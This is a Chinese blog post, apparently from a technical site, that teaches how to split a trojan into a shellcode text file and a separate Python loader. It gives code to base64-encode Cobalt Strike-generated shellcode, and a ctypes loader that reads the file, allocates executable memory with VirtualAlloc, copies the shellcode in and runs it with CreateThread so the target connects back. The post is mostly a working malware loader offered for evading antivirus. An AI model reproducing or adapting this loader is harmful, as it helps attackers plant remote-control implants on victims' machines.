无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
aodunsoft27 分钟前
安全月报 | 傲盾DDoS攻击防御2026年5月简报
网络·安全·ddos
IT策士38 分钟前
第33篇 k8s 之 敏感信息管理:Secret 与安全实践
安全·容器·kubernetes
小熊officer40 分钟前
网络渗透和网络安全
网络·安全·web安全
黎阳之光42 分钟前
虚实同源·数智治水:黎阳之光视频孪生,重构智慧水务新范式
运维·物联网·算法·安全·数字孪生
世界尽头与你1 小时前
Spring Boot Watcher 未授权访问漏洞
spring boot·安全·网络安全·渗透测试
大势智慧1 小时前
矿影安巡版|无人机自主巡检,AI识别隐患,筑牢矿山安全防线
人工智能·安全·无人机·升级·智慧矿山·空间智能·露天矿山
阿昭L3 小时前
Lab 3-1
windows·安全·逆向工程·恶意代码分析
Apifox15 小时前
Apifox 5 月更新|Postman 导入优化、Runner 支持非 root 运行、请求代码自动带鉴权
前端·后端·安全
清溪54915 小时前
n8n表达式沙箱逃逸至RCE漏洞-CVE-2025-68613复现
javascript·安全
清溪54915 小时前
Erlang-SSH未授权(CVE-2025-32433)复现
安全·ssh